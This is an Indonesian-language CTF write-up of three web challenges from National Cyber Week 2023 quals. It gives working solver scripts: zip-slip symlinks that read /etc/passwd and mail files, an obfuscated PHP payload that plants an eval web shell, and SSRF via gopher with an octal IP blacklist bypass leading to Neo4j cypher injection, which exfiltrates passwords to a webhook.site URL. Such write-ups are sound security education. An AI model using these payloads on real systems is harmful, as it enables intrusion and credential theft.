# National Cyber Week 2023 Quals Writeup ## Zip Sleep I have recently created a web app that provides online ZIP extraction functionality to help people avoid malware disguised as a ZIP file 🗿 http://103.145.226.206:7865 Mirror URL: http://103.145.226.209:7865 Author: Maskirovka View Hint This might be off-topic, but yesterday I saw a weird symbol on the ceiling of my house while I was asleep. Could it be linked to something? ### Recon Pada challenge ini kita diberikan sebuah website yang memiliki funsionalitas untuk meng-unzip file. ![image](https://hackmd.io/_uploads/SJGV-KwVp.png) Tetapi disini kita hanya dapat memberikan zip yang didalamnya terdapat file ber-ekstensi ".kipak". Dilihat dari Judul challenge "Zip Sleep" saya menebak bahwa challenge ini ada hubungannya dengan vulnerability "zip slip". Sekarang mari kita test apakah benar pada challenge ini kita bisa meng-eksploitasi vulnerability zip slip dengan cara membuat zip dengan perintah berikut: ```shell ln -s "/etc/passwd" some.kipak && zip -y some.zip some.kipak ``` ![image](https://hackmd.io/_uploads/H1wpztvE6.png) Lalu upload zip tersebut: ![image](https://hackmd.io/_uploads/HyjJ7KvN6.png) Maka kita akan mendapatkan link seperti berikut: ![image](https://hackmd.io/_uploads/By_x7FPEa.png) Setelah kita klik, ternyata benar challenge ini vulnerable dengan zip slip: ![image](https://hackmd.io/_uploads/BkUwXtvVT.png) ### Exploitation ![image](https://hackmd.io/_uploads/HyLg4YwNp.png) Disini jika kita melihat secara teliti ke source code front end pada halama utama challenge pada gambar diatas, kita akan melihat bahwa "mail.txt" merupakan data yang mungkin penting untuk kita dapat menyelesaikan challenge ini. Karena email biasanya terdapat di folder "/var/mail/" pada os linux, maka saya mencoba untuk membaca "/var/mail/mail.txt" dengan menggunakan zipslip. Berikut command untuk zipslipnya: ```shell! rm some* && ln -s "/var/mail/mail.txt" some.kipak && zip -y some.zip some.kipak ``` Setelah itu kita upload lagi file "some.zip" yang tadi kita upload, maka kita akan mendapatkan flagnya seperti berikut: ![image](https://hackmd.io/_uploads/H1erPFDVp.png) ### Solver ```python= import re import httpx URL = "http://103.145.226.206:7865/" # URL = "http://localhost:8000/" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.Client(base_url=url) class API(BaseAPI): def upload(s, file): return s.c.post("upload.php", files={"zipFile": file}, data={"submit": True}) def getfilename(name): return re.search(r"(?<=>uploads/).*?(?=</a>)", name).group(0) if __name__ == "__main__": api = API() res = api.upload(open("some.zip", "rb")) print(res.text) filename = getfilename(res.text) res = api.c.get("/uploads/"+filename) print(res.text) ``` run: ```sh rm some* && ln -s "/var/mail/mail.txt" some.kipak && zip -y some.zip some.kipak && python3 solve.py ``` ## Sapiderman Everyone must have watched Sapiderman, yes that's me. I was born on 10th of August 2001 and recently I created a fanpage website after a long time. Why don't you check it out! btw, my birthday is kinda important tho. :) Sincerenly, Your Friendly Neighbourhood Sapiderman. Web: http://103.145.226.209:55213 Mirror: http://103.145.226.206:55213/ Author: Arkoov ### Recon Pada challenge ini kita akan diberikan website bertema chibi Sepiderman. Saat kita inspect element ke cookie, kita akan melihat bahwa disana terdapat session yang di encode menggunakan base64: ![image](https://hackmd.io/_uploads/rkEE5tDNT.png) Jika kita decode dari base64 maka hasilnya akan seperti ini: ``` Tzo0OiJVZGFuIjoyOntkOjE2OiJveXRoYXdobXRobHlod29hIjtkOjU6Ikd1YWRzIjtkOjIyOiJwYW55cm9ldG5zd2hzaXRtYWZ0bm9hIjtkOjg6IjMxMTEyMDIzIjt9 ``` decode: ``` O:4:"Udan":2:{d:16:"oythawhmthlyhwoa";d:5:"Guads";d:22:"panyroetnswhsitmaftnoa";d:8:"31112023";} ``` Ketika kita pergi ke path "/robot.txt" maka akan muncul list dissalow seperti berikut: ![image](https://hackmd.io/_uploads/r1QNsFw4p.png) Dimana disana terdapat path "spiderman.php" dan "/private/properties.html". Ketika kita buka maka akan muncul tampilan seperti berikut: /private/properties.html ![image](https://hackmd.io/_uploads/H19qsYD46.png) Untuk spider.php kita akan teredirect ke halaman utama ketika mengakses path tersebut. Tetapi disini anehnya ketika saya melakukan tamper pada session cookie menjadi seperti gambar dibawah, dimana semua string saya jadikan empty maka kita akan dapat mengakses spider.php. ![image](https://hackmd.io/_uploads/HyZAntvE6.png) Berikut tampilan dari spider.php: ![image](https://hackmd.io/_uploads/SyjMaKDE6.png) Pada halaman tersebut terdapat form yang dimana disana kita bisa menginputkan code php, tetapi terdapat restriksi yang cukup strict pada form tersebut. Berikut whitelist yang sudah saya ketahui dari hasil fuzzing: ``` 0123456789befghijklmnopqrtuvwxyBEFGHIJKLMNOPQRTUVWXY!#%&()*+,-:;<=>?@[\]^{|}~ ``` Dari char tersebut kita dapat melakukan call pada fungsi "phpinfo();" ![image](https://hackmd.io/_uploads/rJNXCKwNT.png) Disini untuk mengetaui fungsi apa saja yang bisa kita panggil saya melakukan fuzzing menggunakan script berikut: ```php! <?php function getCallableFunctions($charSet) { $callableFunctions = []; $allFunctions = get_defined_functions()['internal']; foreach ($allFunctions as $function) { // Check if all characters in the function name are in the character set if (ctype_alnum(str_replace('_', '', $function)) && strspn($function, $charSet) === strlen($function)) { $callableFunctions[] = $function; } } return $callableFunctions; } $charSet = '0123456789befghijklmnopqrtuvwxyBEFGHIJKLMNOPQRTUVWXY!#%&()*+,-:;<=>?@[\]^{|}~'; // Get the list of callable functions $callableFunctions = getCallableFunctions($charSet); // Display the results echo "Callable functions containing the specified characters:\n"; foreach ($callableFunctions as $function) { echo $function . "\n"; } ?> ``` Hasilnya akan seperti berikut: ![image](https://hackmd.io/_uploads/Hkt50KwEp.png) Dari hasil fuzzing diatas terdapat beberapa fungsi untuk melakukan write yaitu "fwrite" dan "fopen", dimana dengan fungsi itu kita bisa melakukan write file php untuk mendapatkan Code Execution tanpa restriksi. Disini karna kita tidak dapat menuliskan tanda petik satu dan dua, kita harus membypassnya menggunakan hex2bin. ![image](https://hackmd.io/_uploads/SJgO3J9vVa.png) Tetapi harus diangat bahwa kita tidak dapat menuliskan huruf hex selain decimal, oleh karena itu kita menggunakan teknik xor seperti berikut untuk mendapatkan character yang ingin kita cari: ![image](https://hackmd.io/_uploads/HkPQx9DN6.png) Karna akan terjadi integer error jika kita memberikan integer terlalu besar. Maka kita bisa menggunakan "join" untuk melakukan join atara string. ![image](https://hackmd.io/_uploads/Hyg3eqvV6.png) Kita bisa menggunakan payload berikut untuk membuat file "PPPPP.php" yang akan berisikan shell kita: ```php fwrite(fopen(hex2bin(414141414138706870)^hex2bin(111111111116000000),hex2bin(77)),join(null,[hex2bin(28292975)^hex2bin(14161410),hex2bin(66717838)^hex2bin(10101410),hex2bin(34495755)^hex2bin(10161010),hex2bin(44493768)^hex2bin(10121010),hex2bin(374939)^hex2bin(101410),hex2bin(29)^hex2bin(12)])); ``` Payload tersebut akan menghasilkan file bernama "PPPPP.php" dengan value "<?=eval($_GET['x']);". Kita copy paste ke website challenge seperti berikut: ![image](https://hackmd.io/_uploads/SkXXfcPNT.png) Maka ketika kita mengakses "/PPPPP.php" akan muncul seperti berikut: ![image](https://hackmd.io/_uploads/BJpIGcvEp.png) Dari situ kita bisa melakukan list directory menggunakan fungsi "scandir". ![image](https://hackmd.io/_uploads/Sy_W79vVT.png) Bisa dilihat setelah melakukan scandir terdapat folder "Sh3cR3TTTunn3llll" yang dimana disitu terdapat flag.txt. Jadi untuk mendapatkan flagnya kita bisa menggunakan "echo file_get_contents('Sh3cR3TTTunn3llll/flag.txt');" seperti berikut: ![image](https://hackmd.io/_uploads/S11v7qvNT.png) ### Solver ```python import string import httpx URL = "http://103.145.226.209:55213/" session = "Tzo0OiJVZGFuIjoyOntkOjA6IiI7ZDo1OiJHdWFkcyI7ZDowOiIiO2Q6ODoiMzExMTIwMjMiO30K" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.Client(base_url=url, cookies={"session": session}) class API(BaseAPI): def code(s, code): return s.c.post("/spider.php", data={"code": code}) def PPPPP(s, code): return s.c.get("/PPPPP.php",params={"x": code}) if __name__ == "__main__": api = API() # available # 0123456789befghijklmnopqrtuvwxyBEFGHIJKLMNOPQRTUVWXY!#%&()*+,-:;<=>?@[\]^{|}~ # for i in string.printable: # res = api.code(i) # if not "Sorry Sir" in res.text: # print(i, end="") # php = "706870" # PPPPP.php # filename = f"hex2bin(414141414138{php})^hex2bin(111111111116000000)" # opt = f"hex2bin({b'w'.hex()})" # p2 = 'join(null,[hex2bin(28292975)^hex2bin(14161410),hex2bin(66717838)^hex2bin(10101410),hex2bin(34495755)^hex2bin(10161010),hex2bin(44493768)^hex2bin(10121010),hex2bin(374939)^hex2bin(101410),hex2bin(29)^hex2bin(12)])' # payload = f"fwrite(fopen({filename},{opt}),{p2});" # print(payload) # res = api.PPPPP(""" # $directory = './'; # // Get the list of files and directories # $contents = scandir($directory); # // Remove '.' and '..' from the list # $filteredContents = array_diff($contents, array('..', '.')); # // Output the list # foreach ($filteredContents as $item) { # echo $item . "<br>"; # } # """) # print(res.text) res = api.PPPPP("echo file_get_contents('Sh3cR3TTTunn3llll/flag.txt');") # print(res.text) ``` ## Is It Down Right Now? (beta version) I've created a website to check your site's availability (sound's cool ikr). Not long after the site was deployed, our employees mentioned that their account had been hacked. But how ?? author: beluga http://103.185.38.144:48667/ :::spoiler View Hint My boss keep blaming me that our password got leaked. I mean.. How is that possible? I have blocked every single access to our internal server. Unless it stored as a plainte.... OOBs, did i spill to much? ::: :::spoiler View Hint Have you heard of cypher injection? I will turn my eyes blind for this hint ::: ### Recon Pada challenge ini kita akan diberikan website yang memiliki fungsionalitas untuk melakukan Server Side Request seperti berikut: ![image](https://hackmd.io/_uploads/SkX0SW_Ea.png) Pada website tersebut kita bisa menggunakan schema **file** untuk membaca file local, jadi disini saya mencoba untuk membaca source codenya terlebih dahulu yang biasanya terdapat di `/var/www/html/index.php` ![image](https://hackmd.io/_uploads/HJBBIb_4a.png) ```php ...snip... } else { // Block any request to internal administrative services at port 80 $blacklist = ["172.50.0.3","0254.0062.0000.0003","025414400003","0xac320003","127.0","127.1","172.50","[","]","@"]; $issafe = 1; ...snip... ``` Pada source code terdapat sesuatu yang menarik, yaitu terdapat *blacklist* ip address yang nampaknya merupakan IP address dari internal server, disini kita bisa membypassnya dengan menggunakan octal, contohnya seperti pada gambar berikut: ![image](https://hackmd.io/_uploads/S1T0PbOET.png) Bisa dilihat bahwa 10 pada ip akan terconver ke 8 dan 062 di ip akan terconver ke 50. Jadi dengan mengakses internal ip seperti ini `http://172.062.0.3` kita tidak akan mentrigger blacklist: ![image](https://hackmd.io/_uploads/ByWP_WONp.png) Dari source code front end internal server yang kita dapatkan ditas, kita bisa melihat bagian yang menarik yaitu form *search*: ```html <form class="search-form nav-item nav-link py-0 mx-lg-5" method="POST" action="/search"> <input class="form-control" type="text" placeholder="search" aria-label="search" name="search"> <button class="btn btn-outline-success mx-1" type="submit">Search</button> </form> ``` Form tersebut melakukan post request ke endpoint `/seach` dimana dia mengambil input form `search` sebagai inputan, karna disini kita tidak bisa melakukan post request menggunakan protocol http, disini kita menggunakan protocol lain yaitu **gopher** yang mensupport raw request. Untuk contoh dari penggunaan protocol gopher kalian bisa melihatnya di halaman hacktrick berikut https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#gopher . Disini saya membuat script untuk mempermudah membuat request gopher, berikut script yang saya buat: ```python from urllib.parse import quote, urljoin import httpx from bs4 import BeautifulSoup import requests URL = "http://103.185.38.144:48667/" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.Client(base_url=url) self.s = requests.Session() class API(BaseAPI): def check(s, url): return s.c.post("/", data={"url": url}) def path(self, path): return urljoin(str(self.c.base_url), path) def __make_raw_post_request(self, path, **kwargs): "make raw post request" req = requests.Request("POST", self.path(path), **kwargs) prep = self.s.prepare_request(req) res = '{}\r\n{}\r\n{}\r\n\r\n{}'.format( prep.method + ' ' + prep.path_url + ' ' + 'HTTP/1.1', 'Host: localhost', '\r\n'.join('{}: {}'.format(k, v) for k, v in prep.headers.items()), prep.body, ) return res def __make_ssrf_request(self, path, **kwargs): payload = self.__make_raw_post_request(path, **kwargs) payload = quote(payload) payload = f'gopher://172.062.0.3:80/_{payload}' return payload def ssrf_to_search(s, search): return s.__make_ssrf_request("/search", data={"search":search}) if __name__ == "__main__": api = API() ssrf = api.ssrf_to_search("beluga") print(ssrf) res = api.check(ssrf) node = BeautifulSoup(res.text, features="html.parser") print(node.pre.text) ``` Hasil search tersebut akan menghasilkan output seperti ini: ![image](https://hackmd.io/_uploads/rkRYqbd4p.png) Karna didalam source code frontend terdapat kata "using python and neo4j" kita mencoba untuk melakukan neo4j cypher injection yang bisa kalian lihat referensinya disini https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j . ### Exploit Disini kita bisa menggunakan 2 teknik dalam mengeksploitasi cyper injection ini, yang pertama adalah **In Band** dan yang kedua adalah **Out of Band**. #### In Band Pada teknik inband kita perlu menebak prefix query dari neo4j, contohnya seperti berikut: ```python ...snip... if __name__ == "__main__": api = API() ssrf = api.ssrf_to_search("' OR 1=1 RETURN n.password as username, n.email as email, n.role as role//") print(ssrf) res = api.check(ssrf) node = BeautifulSoup(res.text, features="html.parser") print(node.pre.text) ``` Dimana karakter "n" tidak diketahui sehingga kita perlu mencarinya dengan melakukan fuzzing. Output dari injection akan membuat password terlihat di output frontend sebagai berikut: ![image](https://hackmd.io/_uploads/SyqX3-OE6.png) #### Out of Band Pada teknik Out of band kita membutuhkan webhook untuk bisa mendapatkan password yang kita inginkan, contohnya sebagai berikut: ```python ...snip... if __name__ == "__main__": api = API() ssrf = api.ssrf_to_search("' return 0 as _0 union match (u:Users) LOAD CSV FROM 'https://webhook.site/cc4894b6-cae9-4b2e-944e-d09b52e47041?key=' + u.password as _0 return _0//") print(ssrf) res = api.check(ssrf) node = BeautifulSoup(res.text, features="html.parser") print(node.pre.text) ``` > Note: (https://webhook.site/cc4894b6-cae9-4b2e-944e-d09b52e47041) bisa kalian ganti menggunakan url webhook kalian. Jika kita run maka kita akan mendapatkan request yang berisi flagnya di dalam webhook kita seperti berikut: ![image](https://hackmd.io/_uploads/BJQHaW_Vp.png) ### Special Thanks Untuk writeup challenge ini saya berterimakasih kepada author mas **Yudistira Arya** dan teman saya **Bengsky** karna sudah membantu saya dalam pembuatan writeup ini pada bagian exploit dan juga POC :smiley_cat: